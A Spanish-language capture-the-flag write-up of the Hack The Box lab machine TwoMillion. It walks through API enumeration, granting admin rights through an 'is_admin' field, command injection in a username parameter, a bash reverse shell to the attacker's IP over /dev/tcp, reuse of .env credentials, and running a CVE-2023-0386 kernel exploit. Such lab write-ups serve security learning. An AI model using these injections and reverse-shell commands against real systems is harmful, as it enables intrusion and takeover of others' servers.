# TwoMillion

***

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FjuYSXGeGg2cfzRQJOxEi%2Fimage.png?alt=media&#x26;token=1fb74847-7dc3-41d0-971d-7492c31f48af" alt=""><figcaption></figcaption></figure>

***

Enumeración:

```
       │ File: targeted
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Thu Jun 19 15:52:11 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p22,80 -oN targeted 10.10.11.221
   2   │ Nmap scan report for 10.10.11.221
   3   │ Host is up (0.16s latency).
   4   │ 
   5   │ PORT   STATE SERVICE VERSION
   6   │ 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
   7   │ | ssh-hostkey: 
   8   │ |   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
   9   │ |_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
  10   │ 80/tcp open  http    nginx
  11   │ |_http-title: Did not follow redirect to http://2million.htb/
  12   │ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  13   │ 
  14   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  15   │ # Nmap done at Thu Jun 19 15:52:27 2025 -- 1 IP address (1 host up) scanned in 16.44 seconds
───────┴───────────────────────────────────────────────────────────────────────────────────────────────
```

***

Un puerto 80 corriendo al entrar:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FEtLX1V3BcgfHdK4941e9%2Fimage.png?alt=media&#x26;token=8f4fb291-437d-4075-815c-86ae305aac4b" alt=""><figcaption></figcaption></figure>

Con el gran wappalyzer se vio un ngix:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FfDvMBgmOFuRGcuuRs4Z8%2Fimage.png?alt=media&#x26;token=289705af-4118-4eb3-b193-741899bf60e9" alt=""><figcaption></figcaption></figure>

Revisé la página de inicio de sesión con credenciales predeterminadas, pero no me sirvió de nada. Así que primero, vamos a crear una cuenta aquí. Al hacer clic en el botón "Unirse a htb", nos redirigirán a la página "/invitar", donde se nos pedirá el código de invitación.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FPrCrObWEqQmpBHApQcgh%2Fimage.png?alt=media&#x26;token=5eda250f-f3ca-44e9-a5d0-fa64099cade3" alt=""><figcaption></figcaption></figure>

***

> &#x20;Forma inspeccionando la página y viendo la red:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FPRNonrKfvij6VJMn9LMe%2Fimage.png?alt=media&#x26;token=0f96703e-6f63-405d-a837-c5bf4c960ee4" alt=""><figcaption></figcaption></figure>

* En la pestaña Red, podemos ver que se está cargando el archivo inviteapi.min.js y que contiene algún código js ofuscado.

{% embed url="<https://lelinhtinh.github.io/de4js/>" %}

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FV4bkWjguquRsteNVfUNg%2Fimage.png?alt=media&#x26;token=912f3af6-0f49-4bc8-99a8-ba7e631f27f9" alt=""><figcaption></figcaption></figure>

***

Tiene dos funciones: una para verificar el código de invitación y otra para generarlo. `makeInviteCode()`Parece ser responsable de generar el código de invitación. La función simplemente realiza una solicitud de publicación a la URL `/api/v1/invite/how/to/generate`. Vamos a convertirlo manualmente en cURL.

## �� **Consumo de una API REST desde la terminal**

```
curl -s -X POST "http://2million.htb/api/v1/invite/generate" | jq
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fo078pclnIm2pB14UwSm2%2Fimage.png?alt=media&#x26;token=b7a76d9e-9c41-4c44-861d-0b1397ac28d2" alt=""><figcaption></figcaption></figure>

* Con cada petición va cambiando y al parecer ser que esta en base64:

```
echo "S0hHMTItS1ZYSlgtTEVTRTEtREtKTTA=" | base64 -d
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FvbcUcMm4stGts7IX0XRA%2Fimage.png?alt=media&#x26;token=02cd2d30-9a47-4c4b-8fca-965bb0c1418a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FJd7D6HN79yzcaxWoe5j5%2Fimage.png?alt=media&#x26;token=c48faf0f-98f4-4002-acc4-69a117efdb59" alt=""><figcaption></figcaption></figure>

***

* Una vez registrado:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FN66nse6ALXqfwMZhHAFI%2Fimage.png?alt=media&#x26;token=0dbe95dd-eb55-4f01-ad65-69b3ad435172" alt=""><figcaption></figcaption></figure>

Se puede ver varias endpoints:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FC8c9gRwb4RxiTcDvgVY0%2Fimage.png?alt=media&#x26;token=d423c837-f25e-45ab-82c2-844339972fc7" alt=""><figcaption></figcaption></figure>

```
http://2million.htb/api/v1/user/vpn/generate   
http://2million.htb/api/v1/user/vpn/regenerate
```

***

## <mark style="color:green;">**API REST**</mark>  <mark style="color:green;"></mark><mark style="color:green;">|  Endpoint</mark>

> Tanto por `curl` que po `Burp Suite` se puede

Consultar el **endpoint raíz de la API REST** en `http://2million.htb/api/v1` para enumerar las rutas disponibles, autenticado mediante una sesión PHP (`PHPSESSID`).

```
curl -s http://2million.htb/api/v1 | jq

curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=ur9lqvppvr1b64cr4p0em8ulqb" | jq
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FVuVkoIvooq1RFrrmtrg6%2Fimage.png?alt=media&#x26;token=dff086be-d82b-43c5-b37a-752dab9146d5" alt=""><figcaption></figcaption></figure>

<details>

<summary>¿Qué hace cada API?</summary>

#### 📜 **Respuesta de la API (resumen estructurado)**

La API devuelve una lista organizada de rutas disponibles:

**Rutas públicas disponibles (GET)**

| Endpoint                         | Función                                             |
| -------------------------------- | --------------------------------------------------- |
| `/api/v1`                        | Lista todas las rutas de la API.                    |
| `/api/v1/invite/how/to/generate` | Instrucciones para generar un código de invitación. |
| `/api/v1/invite/generate`        | Generar un nuevo código de invitación.              |
| `/api/v1/invite/verify`          | Verificar un código de invitación.                  |
| `/api/v1/user/auth`              | Verifica si el usuario está autenticado.            |
| `/api/v1/user/vpn/generate`      | Genera una nueva configuración VPN.                 |
| `/api/v1/user/vpn/regenerate`    | Regenera la configuración VPN.                      |
| `/api/v1/user/vpn/download`      | Descarga el archivo de configuración `.ovpn`.       |

**Rutas públicas disponibles (POST)**

| Endpoint                | Función                                  |
| ----------------------- | ---------------------------------------- |
| `/api/v1/user/register` | Registrar un nuevo usuario.              |
| `/api/v1/user/login`    | Iniciar sesión con un usuario existente. |

**Rutas para usuarios administradores (admin)**

**GET**

| Endpoint             | Función                                  |
| -------------------- | ---------------------------------------- |
| `/api/v1/admin/auth` | Verifica si el usuario es administrador. |

**POST**

| Endpoint                     | Función                                              |
| ---------------------------- | ---------------------------------------------------- |
| `/api/v1/admin/vpn/generate` | Genera configuración VPN para un usuario específico. |

**PUT**

| Endpoint                        | Función                                |
| ------------------------------- | -------------------------------------- |
| `/api/v1/admin/settings/update` | Actualiza configuraciones del usuario. |

</details>

***

#### Enumerando la API de administración: <a href="#enumerating-admin-api" id="enumerating-admin-api"></a>

Tenemos tres puntos finales de API en /api/v1/admin. Probémoslos todos.

* Cuando intentamos obtener una solicitud a /api/v1/admin/auth, recibimos un mensaje Falso que significa que no somos administradores.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FY7g5I45YtqAJw0rDqzSn%2Fimage.png?alt=media&#x26;token=9850134a-8118-43df-a179-8beb7e864c04" alt=""><figcaption></figcaption></figure>

***

Ahora usaremos el siguiente endpoint con `PUT`:

| Endpoint                        | Función                                |
| ------------------------------- | -------------------------------------- |
| `/api/v1/admin/settings/update` | Actualiza configuraciones del usuario. |

* Copiemos el tipo de contenido de la respuesta a la solicitud y reenviemos la solicitud. Esta vez recibimos otro mensaje que indicaba que faltaba el parámetro de correo electrónico.

```
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" | jq
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FK6N0SgSq9jt6Py8Zaivr%2Fimage.png?alt=media&#x26;token=3b17b3af-c88a-4e5b-b1c9-86776d29a53f" alt=""><figcaption></figcaption></figure>

***

* Agreguemos el correo electrónico en formato JSON y reenviemos la solicitud. Esta vez, recibimos nuevamente un mensaje que indica que falta el parámetro is\_admin.

```
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"email": "las@las.com"}'
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F3VIpbULjCGncxRwZW8VI%2Fimage.png?alt=media&#x26;token=c44c376a-c497-404b-b5eb-86ddb3b4449b" alt=""><figcaption></figcaption></figure>

***

* Ahora agreguemos "is\_admin" en formato JSON y reenviemos la solicitud. Finalmente, le damos privilegios de administrador a nuestra cuenta.

```
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"email": "las@gmai.com", "is_admin": 1}' | jq
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FsznzJCtxxI9VhsKN12JZ%2Fimage.png?alt=media&#x26;token=f2bd26a3-785b-4c93-a903-46cf789b4e0a" alt=""><figcaption></figcaption></figure>

***

Al ser administrador podemos generar una VPN:

Ahora podemos listar las VPN:

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" | jq
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FeCIWiSLwDWmrxmHgKrHw%2Fimage.png?alt=media&#x26;token=a7ec35ef-18a2-49c2-abab-8c035edaa1ac" alt=""><figcaption><p>Nos pide el usuario</p></figcaption></figure>

***

Ahora somos administradores, así que intentemos enviar una solicitud a /api/v1/admin/vpn/generate, que no estaba autorizada anteriormente. En esta ocasión, recibimos un mensaje que indica que falta el parámetro "nombre de usuario" y, al agregarlo a nuestra solicitud, obtenemos la clave VPN generada.

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las"}'
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F4DodxTSWV7a7qJ31JkcE%2Fimage.png?alt=media&#x26;token=bf258623-c9d8-48da-833a-6b9f4cfec8ee" alt=""><figcaption></figcaption></figure>

***

### Inyección de comando&#x20;

> Probablemente no sea el código PHP el que genera una clave VPN, sino algunas herramientas Bash que generan la información necesaria para una clave VPN.
>
> Vale la pena comprobar si hay alguna inyección de comando.
>
> Si el servidor está haciendo algo como openvpn gen\_vpn.sh \[nombre de usuario], intentaré poner un "a" `;`en el nombre de usuario para convertirlo en un nuevo comando. También añadiré un " `#`a" al final para comentar cualquier cosa que pueda venir después de mi entrada. Funciona:

```
las; whoami #"
```

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las; whoami #"}'
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FINuqgplW8cPHCl1yBcQn%2Fimage.png?alt=media&#x26;token=038138d7-cb00-43b5-96b5-079dfbd25968" alt=""><figcaption></figcaption></figure>

* Incluyamos un comando de shell inverso bash -i en el archivo login.php usando el comando del sistema y activemos mi escucha netcat en el puerto 1234.

```
 bash -c \"bash -i >& /dev/tcp/10.10.16.43/1234 0>&1\";
```

Comando:

```
curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=d0on2jmp0nm89i0vdbvmuvah3r" -H "Content-Type: application/json" -d '{"username":"las;"}'
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FQ1jfWDC0vYlRet8QcGtK%2Fimage.png?alt=media&#x26;token=d553627b-a02d-4ded-905c-2307c28773f4" alt=""><figcaption></figcaption></figure>

***

En los archivos ocultos hay un .env:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FWZ2obHFEYs7BOfmVR5vm%2Fimage.png?alt=media&#x26;token=68a27dc2-932d-47dd-a661-73e1f2f98f96" alt=""><figcaption></figcaption></figure>

Con esta credencial entramos por ssh como el usuario admin:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FMerOd69QAVr3l0rJ3Ssd%2Fimage.png?alt=media&#x26;token=975a9a11-5de0-4e7e-8a50-c1a4367b1573" alt=""><figcaption></figcaption></figure>

Busca **todos los archivos y directorios** en el sistema (`/`) que pertenecen al **usuario `admin`**.:

```
find / -user admin 2>/dev/null | grep -vE "sys|proc"
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2F2gcYnOvR4SIoQEghE0pX%2Fimage.png?alt=media&#x26;token=cbb5465f-3a53-4302-b9a6-e32be45da31c" alt=""><figcaption></figcaption></figure>

Se encontro un mail:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fxz2aj8PF7rDW8yCadsCw%2Fimage.png?alt=media&#x26;token=46d4acf7-c57f-4e57-9358-08b7b01b07ed" alt=""><figcaption></figcaption></figure>

#### Identificación de vulnerabilidad [#](https://blog.samipshah.com.np/posts/htb/machines/2million/#identifying-vulnerability) <a href="#identifying-vulnerability" id="identifying-vulnerability"></a>

Habla de algo relacionado con OverlayFS/FUSE CVE. Busquémoslo en Google. Encontramos mucha información sobre CVE-2023-0386.

**Explotar** [**#**](https://blog.samipshah.com.np/posts/htb/machines/2million/#exploit)

Hay una [prueba de concepto (POC) de este exploit](https://github.com/xkaneiki/CVE-2023-0386) en GitHub del investigador xkaneiki. El archivo README.md es escueto, pero ofrece suficientes instrucciones de uso.

No pude clonar directamente este repositorio en mi máquina de destino, así que lo cloné en mi máquina local y luego lo descargué en mi máquina de destino usando el servidor Python.

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2Fv3rPUFqppXUyGdrhCrpC%2Fimage.png?alt=media&#x26;token=d1c7d5ef-a2cb-40cc-90f8-94086f708d60" alt=""><figcaption></figcaption></figure>

* Tenemos que enviar la carpeta a otro servidor  y para ello lo comprimimos:

```
zip comprimido.zip -r CVE-2023-0386
```

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FvInijE0wB935L1o4dwNn%2Fimage.png?alt=media&#x26;token=35d9d1de-52a4-44e0-a692-aec8a1728176" alt=""><figcaption></figcaption></figure>

Seguimos las instrucciones del git:

<figure><img src="https://3911864089-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxDgcAfT0jUhqutUsumCO%2Fuploads%2FtSf0MV1xLlsPBMgsxlZQ%2Fimage.png?alt=media&#x26;token=1d464b49-df49-4052-b0b1-d89f5463fc11" alt=""><figcaption></figcaption></figure>

***
